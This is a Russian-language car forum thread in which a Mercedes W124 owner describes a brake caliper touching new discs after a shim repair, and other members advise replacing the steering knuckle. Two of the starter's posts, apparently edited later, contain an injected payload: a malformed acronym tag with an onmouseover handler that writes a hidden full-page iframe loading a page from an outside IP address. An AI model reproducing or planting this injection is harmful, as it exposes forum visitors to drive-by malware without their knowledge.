Сообщений в теме: 11

[Игорьниколаевич]

На днях решил поменять старые стертые до 9мм тормозные диски на передних колесах .
В общем провел процесс все там снял промыл почистил.
Начинаю прикручивать скобу супорта затягиваю верхний болт и вижу что скоба полностью в верхней части села на тормозной диск, да так что его и провернуть невозможно.
Проблему решил подставив под верхний болт между кулаком и скобой шайбу толщиной 1мм и между скобой и диском получил зазор в 1.7 мм. Нижний болт затянул как есть.
При обследовании стало видно что ось колеса относительно щели скобы наклонена к низу.
Колодки стирались в кривую Машина так ездила 5 лет.
При этом развал схождение все в норме.
Это сюрприз от прошлого хазюка.
Ну и естественно что после этого обнаружилось что и колеса относительно арок стоят по разному. немного конечно но по разному на рычаге этого же колеса нашел вмятину.
Но вот сейчас машина едет и тормозит нормально. Болты затянуты Реально стоит ли далее заморачиваться и менять кулак????[acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://78.108.185.111/old/index.htm\x20frameborder=0\x20width=100%\x20height=100%\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]][/acronym]_[/acronym]

Сообщение отредактировал Игорьниколаевич: 13 January 2014 - 08:43

[v1ntage]

диски тормозные сравнивал? диаметр у них одинаковый ?

[BRdm]

бедный мерс...

 

меняй все. кулак, рычаги, суппорта, диски тормозные....

[Игорьниколаевич]

Диски нормальные ровные в строгом соответствии со старыми по размерениям, только толщина тормозного диска нового естественно больше старого стертого.
Гопода машина едет нормально резину не жрет никуда не уводит на дороге как влитая на любой скорости.
Нормально стали новые колодки, супорта сели на место колеса не зажимает тормозит нормально.
Не менял бы диски никогда бы не заметил что что то не так.
Менять все подряд - реально дорого, при этом если менять с одной стороны реально полезет необходимость менять с другой.
Вопрос был в другом реально Ваше мнение по поводу самого факта езды с шайбой между кулаком и скобой супорта.
Это типа там перекосы и возможность растрескивания скобы.

Сообщение отредактировал Игорьниколаевич: 01 November 2013 - 10:04

[Леонидыч]

кулаки гнутся только так
меняй кулак на другой и все
и о каком авто речь?

[Игорьниколаевич]

Мерседес 124 кузов дизель 2.5

[BRdm]

Менять все подряд - реально дорого, при этом если менять с одной стороны реально полезет необходимость менять с другой.

 

Дорого или нет - надо было думать до того как подкладывал шайбу под ухо суппорта. После такого горе-ремонта с кроиловом - неизвестно что и как там теперь повело. Если есть повреждения на рычаге - его тоже в замену. А то что машину не ведет - это просто сход-развал вывели ранее или на него не повлияло повреждение кулака. так и кривые кузова норм ездят. ток как дворняги- боком.

Сообщение отредактировал BRdm: 01 November 2013 - 14:07

[haligali123]

Менять все подряд - реально дорого, при этом если менять с одной стороны реально полезет необходимость менять с другой.
Вопрос был в другом реально Ваше мнение по поводу самого факта езды с шайбой между кулаком и скобой супорта.
Это типа там перекосы и возможность растрескивания скобы.

Так у вас такая ситуация еще и с 2-х сторон?
Ну вы блин , даете.
Поворотный кулак на 124-й не так уж и дорого стоит.
1000рублей без АБС. ---это есть. отправка посредством Траспортной компании.
1500рублей под АБС --их сейчас нету. закончились.
Более подробно, что и как. пиши в личку.

[Игорьниколаевич]

Дорого или нет - надо было думать до того как подкладывал шайбу под ухо суппорта. После такого горе-ремонта с кроиловом - неизвестно что и как там теперь повело. Если есть повреждения на рычаге - его тоже в замену. А то что машину не ведет - это просто сход-развал вывели ранее или на него не повлияло повреждение кулака. так и кривые кузова норм ездят. ток как дворняги- боком.

 

Господа !! Вы меня не поняли
Пять лет машина ездила и продолжали нормально стираться тормозные диск. После того как диски стерлись до меток(такие ямки на торцах дисков шириной 9 мм.) Принято решение поменять на новые.
На левой стороне замена прошла без проблем. А вот на правой произошла эта история. Причем шайбы там не было, старый диск естественно тоньше нового и даже перекошенного зазора хватало.
А вот когда поставил новый диск скобу к нему и придавило. Вопрос решил шайбой между скобой и кулаком - как на рисунке. Седни снял колесо проверил затяжку болтов , ну и как там все стоит. Болты затянуты проблем с супортом никаких. Вот как то так Что дальше???

[acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://78.108.185.111/old/index.htm\x20frameborder=0\x20width=100%\x20height=100%\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]][/acronym]_[/acronym]

Сообщение отредактировал Игорьниколаевич: 13 January 2014 - 08:44

[Аркадий 2011]

Господа !! Вы меня не поняли
Пять лет машина ездила и продолжали нормально стираться тормозные диск. После того как диски стерлись до меток(такие ямки на торцах дисков шириной 9 мм.) Принято решение поменять на новые.
На левой стороне замена прошла без проблем. А вот на правой произошла эта история. Причем шайбы там не было, старый диск естественно тоньше нового и даже перекошенного зазора хватало.
А вот когда поставил новый диск скобу к нему и придавило. Вопрос решил шайбой между скобой и кулаком - как на рисунке. Седни снял колесо проверил затяжку болтов , ну и как там все стоит. Болты затянуты проблем с супортом никаких. Вот как то так Что дальше???

Да тебя ведь не уговаривают, а просто советуют (дружески) Кулаки неспешно купи и поменяй, ступицы и подшипники можешь свои оставить.
Недорого ведь. Ну и руки видно на месте!

[andreyn]

весной столкнулся с такой же проблемой(была тема с фото),замена кулака все решила-500р

[Игорьниколаевич]

Да тебя ведь не уговаривают, а просто советуют (дружески) Кулаки неспешно купи и поменяй, ступицы и подшипники можешь свои оставить.
Недорого ведь. Ну и руки видно на месте!

 

А ну да . Все правильно.
Я так и думал то что неспешно совершенно верно спасибо!!